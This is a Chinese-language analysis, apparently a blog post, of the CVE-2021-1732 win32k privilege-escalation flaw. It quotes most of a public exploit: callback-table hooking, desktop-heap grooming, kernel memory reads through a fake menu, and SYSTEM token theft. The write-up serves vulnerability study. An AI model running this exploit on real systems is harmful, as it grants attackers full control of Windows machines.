win32k漏洞win32k.sys运行在Windows系统内核态,主要负责GUI相关的工作,用户态的user32.dll与其合作。个人感觉比较常见的漏洞对象在于tagWnd及其相关的数据结构和API。
CVE-2021-1732分析漏洞简介Windows桌面开发中会用到一个Windows API——CreateWindowEx,用于创建供用户使用的窗口,其函数调用过程大致如下:
(1) user32!CreateWindowEx (…)(2) win32u!NtUserCreateWindowEx (w32ksyscall 0x1077)(3) win32kfull!NtUserCreateWindowEx(4) win32kfull!xxxCreateWindowEx
该漏洞主要是因为Windows在处理tagWnd结构体时存在问题,攻击者可以控制其中的dwExtraFlag、cbWndExtra字段,通过SetWindowLong等API读写系统数据,实现提权。
漏洞分析在Windows开发中使用CreateWindowEx用于创建窗口,该API会维护一个结构体——tagWnd,该结构体分为两份,分别存在用户态、内核态。并且该结构体并没有官方文档进行解释,需要通过逆向进行分析。
用户态tagWnd在0x28偏移处存放着内核态tagWnd的指针,内核态tagWnd中dwExtraFlag、cbWndExtra、pExtraBytes(偏移分别为:0xc8、0xe8、0x128)用于记录一个额外的内存空间ExtraBytes,当调用SetWindowLongPtr API时会用到此处内存。
漏洞利用接下来我们会分析https://github.com/k-k-k-k-k/CVE-2021-1732 的exp。
准备工作该exp首先获取到需要用到的已导出/未导出的API,并进行了Hook xxxClientAllocWindowClassExtraBytes。
12345678910111213141516g_fNtUserConsoleControl = (FNtUserConsoleControl)GetProcAddress(GetModuleHandle(L"win32u.dll"), "NtUserConsoleControl");g_fFNtCallbackReturn = (FNtCallbackReturn)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtCallbackReturn");g_fRtlAllocateHeap = (RtlAllocateHeap)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlAllocateHeap");ULONG_PTR pKernelCallbackTable = (ULONG_PTR) * (ULONG_PTR*)(__readgsqword(0x60) + 0x58); //PEB->KernelCallbackTableg_fxxxClientAllocWindowClassExtraBytes = (FxxxClientAllocWindowClassExtraBytes) * (ULONG_PTR*)((PBYTE)pKernelCallbackTable + 0x3D8);g_fxxxClientFreeWindowClassExtraBytes = (FxxxClientFreeWindowClassExtraBytes) * (ULONG_PTR*)((PBYTE)pKernelCallbackTable + 0x3E0);FindHMValidateHandle(&fHMValidateHandle);DWORD dwOldProtect = 0;VirtualProtect((PBYTE)pKernelCallbackTable + 0x3D8, 0x400, PAGE_EXECUTE_READWRITE, &dwOldProtect);*(ULONG_PTR*)((PBYTE)pKernelCallbackTable + 0x3D8) = (ULONG_PTR)MyxxxClientAllocWindowClassExtraBytes;*(ULONG_PTR*)((PBYTE)pKernelCallbackTable + 0x3E0) = (ULONG_PTR)MyxxxClientFreeWindowClassExtraBytes;VirtualProtect((PBYTE)pKernelCallbackTable + 0x3D8, 0x400, dwOldProtect, &dwOldProtect);
接下来注册了两个WND类,主要区别在于ClassName和ExtraBytes的大小。
1234567891011121314WNDCLASSEX WndClass = { 0 };WndClass.cbSize = sizeof(WNDCLASSEX);WndClass.lpfnWndProc = DefWindowProc;WndClass.style = CS_VREDRAW | CS_HREDRAW;WndClass.cbWndExtra = 0x20;WndClass.hInstance = hInstance;WndClass.lpszMenuName = NULL;WndClass.lpszClassName = L"Class1";atom1 = RegisterClassEx(&WndClass);WndClass.cbWndExtra = g_dwMyWndExtra;WndClass.hInstance = hInstance;WndClass.lpszClassName = L"Class2";atom2 = RegisterClassEx(&WndClass);
尝试堆布局该exp会尝试5次堆布局,直到成功或者布局失败。
首先会创建50个Window,其中0号、1号会最终保留。其他48个会释放,但这48个在后续也会发挥作用。
其中,i == 1对应的if body代码用于实现数据的读取。(数据的写入使用了SetWindowLongPtr)
12345678910111213141516171819202122//start memory layoutHMENU hMenu = NULL;HMENU hHelpMenu = NULL;//alloc 50 desktop heap addressfor (int i = 0; i < 50; i++) { if (i == 1) { hMenu = CreateMenu(); hHelpMenu = CreateMenu(); AppendMenu(hHelpMenu, MF_STRING, 0x1888, TEXT("about")); AppendMenu(hMenu, MF_POPUP, (LONG)hHelpMenu, TEXT("help")); } g_hWnd[i] = CreateWindowEx(NULL, L"Class1", NULL, WS_VISIBLE, 0, 0, 1, 1, NULL, hMenu, hInstance, NULL); g_pWnd[i] = (ULONG_PTR)fHMValidateHandle(g_hWnd[i], 1); //Get leak kernel mapping desktop heap address}//free 48 desktop heap addressfor (int i = 2; i < 50; i++) { if (g_hWnd[i] != NULL) { DestroyWindow((HWND)g_hWnd[i]); }}
接下来获取0、1号Window的内核tagWnd在桌面堆中的地址。
12g_dwpWndKernel_heap_offset0 = *(ULONG_PTR*)((PBYTE)g_pWnd[0] + g_dwKernel_pWnd_offset);g_dwpWndKernel_heap_offset1 = *(ULONG_PTR*)((PBYTE)g_pWnd[1] + g_dwKernel_pWnd_offset);
使用NtUserConsoleControl API将0号Window的ExtraBytes从用户堆转移到内核堆。
12345ULONG_PTR ChangeOffset = 0;ULONG_PTR ConsoleCtrlInfo[2] = { 0 };ConsoleCtrlInfo[0] = (ULONG_PTR)g_hWnd[0];ConsoleCtrlInfo[1] = (ULONG_PTR)ChangeOffset;NTSTATUS ret1 = g_fNtUserConsoleControl(6, (ULONG_PTR)&ConsoleCtrlInfo, sizeof(ConsoleCtrlInfo));
首先判断0号Window的内核tagWnd在1号的前面,为了保证可以通过0号内存越界修改到1号数据,然后成功结束堆布局或者进行下一次重新尝试。
12345678910111213141516171819202122dwpWnd0_to_pWnd1_kernel_heap_offset = *(ULONGLONG*)((PBYTE)g_pWnd[0] + 0x128);if (dwpWnd0_to_pWnd1_kernel_heap_offset < g_dwpWndKernel_heap_offset1) { dwpWnd0_to_pWnd1_kernel_heap_offset = (g_dwpWndKernel_heap_offset1 - dwpWnd0_to_pWnd1_kernel_heap_offset); break;}else { //:warning SetWindowLongPtr nIndex can't < 0; continue to try if (g_hWnd[0] != NULL) { DestroyWindow((HWND)g_hWnd[0]); } if (g_hWnd[1] != NULL) { DestroyWindow((HWND)g_hWnd[1]); if (hMenu != NULL) { DestroyMenu(hMenu); } if (hHelpMenu != NULL) { DestroyMenu(hHelpMenu); } }}dwpWnd0_to_pWnd1_kernel_heap_offset = 0;
修改内核数据创建Class2的窗口,由于在之前Hook了xxxClientAllocWindowClassExtraBytes,在CreateWindowEx过程中会在xxxClientAllocWindowClassExtraBytes前执行MyxxxClientAllocWindowClassExtraBytes,使得Class2的内核tagWnd的pExtraBytes指向了0号Window的内核tagWnd区域。使得后面可以借助Class2修改0号Windows的内核tagWnd。
这里我们首先将0号Window的内核tagWnd的cbWndExtra修改为一个极大值0x0FFFFFFFF,也就是扩大了0号Window的内核tagWnd的ExtraBytes,用于修改ExtraBytes之外的数据。
1234HWND hWnd2 = CreateWindowEx(NULL, L"Class2", NULL, WS_VISIBLE, 0, 0, 1, 1, NULL, NULL, hInstance, NULL);PVOID pWnd2 = fHMValidateHandle(hWnd2, 1);SetWindowLong(hWnd2, g_cbWndExtra_offset, 0x0FFFFFFFF); //Modify cbWndExtra to large value
通过0号Window修改1号Window的内核tagWnd数据。后续会有SetWindowLongPtr(g_hWnd[1], GWLP_ID, (LONG_PTR)g_pMyMenu),GWLP_ID也就是-12,Win32kfull!xxxSetWindowData在对nIndex的switch-case中,在-12的情况下,会检查内核tagWnd在0x1f偏移处的数据与0xC0进行AND运算后为0x40,检查通过后会将spMenu指向传入的地址。
123ULONGLONG ululStyle = *(ULONGLONG*)((PBYTE)g_pWnd[1] + g_dwExStyle_offset);ululStyle |= 0x4000000000000000L;//WS_CHILDSetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd1_kernel_heap_offset + g_dwExStyle_offset, ululStyle); //Modify add style WS_CHILD
修改1号Window内核tagWnd的spMenu,使得后续可以实现数据的读取。
12345678910111213141516//My spmenu memory struct For read kernel memoryg_pMyMenu = (ULONG_PTR)g_fRtlAllocateHeap((PVOID) * (ULONG_PTR*)(__readgsqword(0x60) + 0x30), 0, 0xA0);*(ULONG_PTR*)((PBYTE)g_pMyMenu + 0x98) = (ULONG_PTR)g_fRtlAllocateHeap((PVOID) * (ULONG_PTR*)(__readgsqword(0x60) + 0x30), 0, 0x20);**(ULONG_PTR**)((PBYTE)g_pMyMenu + 0x98) = g_pMyMenu;*(ULONG_PTR*)((PBYTE)g_pMyMenu + 0x28) = (ULONG_PTR)g_fRtlAllocateHeap((PVOID) * (ULONG_PTR*)(__readgsqword(0x60) + 0x30), 0, 0x200);*(ULONG_PTR*)((PBYTE)g_pMyMenu + 0x58) = (ULONG_PTR)g_fRtlAllocateHeap((PVOID) * (ULONG_PTR*)(__readgsqword(0x60) + 0x30), 0, 0x8); //rgItems 1*(ULONG_PTR*)(*(ULONG_PTR*)((PBYTE)g_pMyMenu + 0x28) + 0x2C) = 1; //cItems 1*(DWORD*)((PBYTE)g_pMyMenu + 0x40) = 1;*(DWORD*)((PBYTE)g_pMyMenu + 0x44) = 2;*(ULONG_PTR*)(*(ULONG_PTR*)((PBYTE)g_pMyMenu + 0x58)) = 0x4141414141414141;ULONG_PTR pSPMenu = SetWindowLongPtr(g_hWnd[1], GWLP_ID, (LONG_PTR)g_pMyMenu); //Return leak kernel address and set fake spmenu memory//pSPMenu leak kernel address, good!!!ululStyle &= ~0x4000000000000000L;//WS_CHILDSetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd1_kernel_heap_offset + g_dwExStyle_offset, ululStyle); //Modify Remove Style WS_CHILD
权限提升通过读取内核数据吗,获取当前进程的eprocess。
123456789ULONG_PTR ululValue1 = 0, ululValue2 = 0;//**(ULONG_PTR**)(*(ULONG_PTR*)(pSPMenu + 0x18) + 0x100) Is my kernel eprocessReadKernelMemoryQQWORD(pSPMenu + 0x18, ululValue1, ululValue2);ReadKernelMemoryQQWORD(ululValue1 + 0x100, ululValue1, ululValue2);ReadKernelMemoryQQWORD(ululValue1, ululValue1, ululValue2);ULONG_PTR pMyEProcess = ululValue1;std::cout << "Get current kernel eprocess: " << pMyEProcess << std::endl;
遍历所有进程,找到pid=4,将其token复制到当前进程,实现提权。
1234567891011121314151617181920212223242526ULONG_PTR pSystemEProcess = 0;ULONG_PTR pNextEProcess = pMyEProcess;for (int i = 0; i < 500; i++) { ReadKernelMemoryQQWORD(pNextEProcess + g_dwEPROCESS_ActiveProcessLinks_offset, ululValue1, ululValue2); pNextEProcess = ululValue1 - g_dwEPROCESS_ActiveProcessLinks_offset; ReadKernelMemoryQQWORD(pNextEProcess + g_dwEPROCESS_UniqueProcessId_offset, ululValue1, ululValue2); ULONG_PTR nProcessId = ululValue1; if (nProcessId == 4) { // System process id pSystemEProcess = pNextEProcess; std::cout << "System kernel eprocess: " << std::hex << pSystemEProcess << std::endl; ReadKernelMemoryQQWORD(pSystemEProcess + g_dwEPROCESS_Token_offset, ululValue1, ululValue2); ULONG_PTR pSystemToken = ululValue1; ULONG_PTR pMyEProcessToken = pMyEProcess + g_dwEPROCESS_Token_offset; //Write kernel memory LONG_PTR old = SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd1_kernel_heap_offset + g_dwModifyOffset_offset, (LONG_PTR)pMyEProcessToken); // 修改1号内核tagWnd的pExtraBytes SetWindowLongPtr(g_hWnd[1], 0, (LONG_PTR)pSystemToken); //Modify offset to memory address SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd1_kernel_heap_offset + g_dwModifyOffset_offset, (LONG_PTR)old); break; }}/**/
清理现场接下来工作主要是防止系统蓝屏,修复被破坏的系统数据。
123456789101112131415161718192021222324252627282930//Recovery bugg_dwpWndKernel_heap_offset2 = *(ULONG_PTR*)((PBYTE)pWnd2 + g_dwKernel_pWnd_offset);ULONG_PTR dwpWnd0_to_pWnd2_kernel_heap_offset = *(ULONGLONG*)((PBYTE)g_pWnd[0] + 0x128);if (dwpWnd0_to_pWnd2_kernel_heap_offset < g_dwpWndKernel_heap_offset2) { dwpWnd0_to_pWnd2_kernel_heap_offset = (g_dwpWndKernel_heap_offset2 - dwpWnd0_to_pWnd2_kernel_heap_offset); DWORD dwFlag = *(ULONGLONG*)((PBYTE)pWnd2 + g_dwModifyOffsetFlag_offset); dwFlag &= ~0x800; SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd2_kernel_heap_offset + g_dwModifyOffsetFlag_offset, dwFlag); //Modify remove flag PVOID pAlloc = g_fRtlAllocateHeap((PVOID) * (ULONG_PTR*)(__readgsqword(0x60) + 0x30), 0, g_dwMyWndExtra); SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd2_kernel_heap_offset + g_dwModifyOffset_offset, (LONG_PTR)pAlloc); //Modify offset to memory address ULONGLONG ululStyle = *(ULONGLONG*)((PBYTE)g_pWnd[1] + g_dwExStyle_offset); ululStyle |= 0x4000000000000000L;//WS_CHILD SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd1_kernel_heap_offset + g_dwExStyle_offset, ululStyle); //Modify add style WS_CHILD ULONG_PTR pMyMenu = SetWindowLongPtr(g_hWnd[1], GWLP_ID, (LONG_PTR)pSPMenu); //free pMyMenu ululStyle &= ~0x4000000000000000L;//WS_CHILD SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd1_kernel_heap_offset + g_dwExStyle_offset, ululStyle); //Modify Remove Style WS_CHILD std::cout << "Recovery bug prevent blue screen." << std::endl;}DestroyWindow(g_hWnd[0]);DestroyWindow(g_hWnd[1]);DestroyWindow(hWnd2);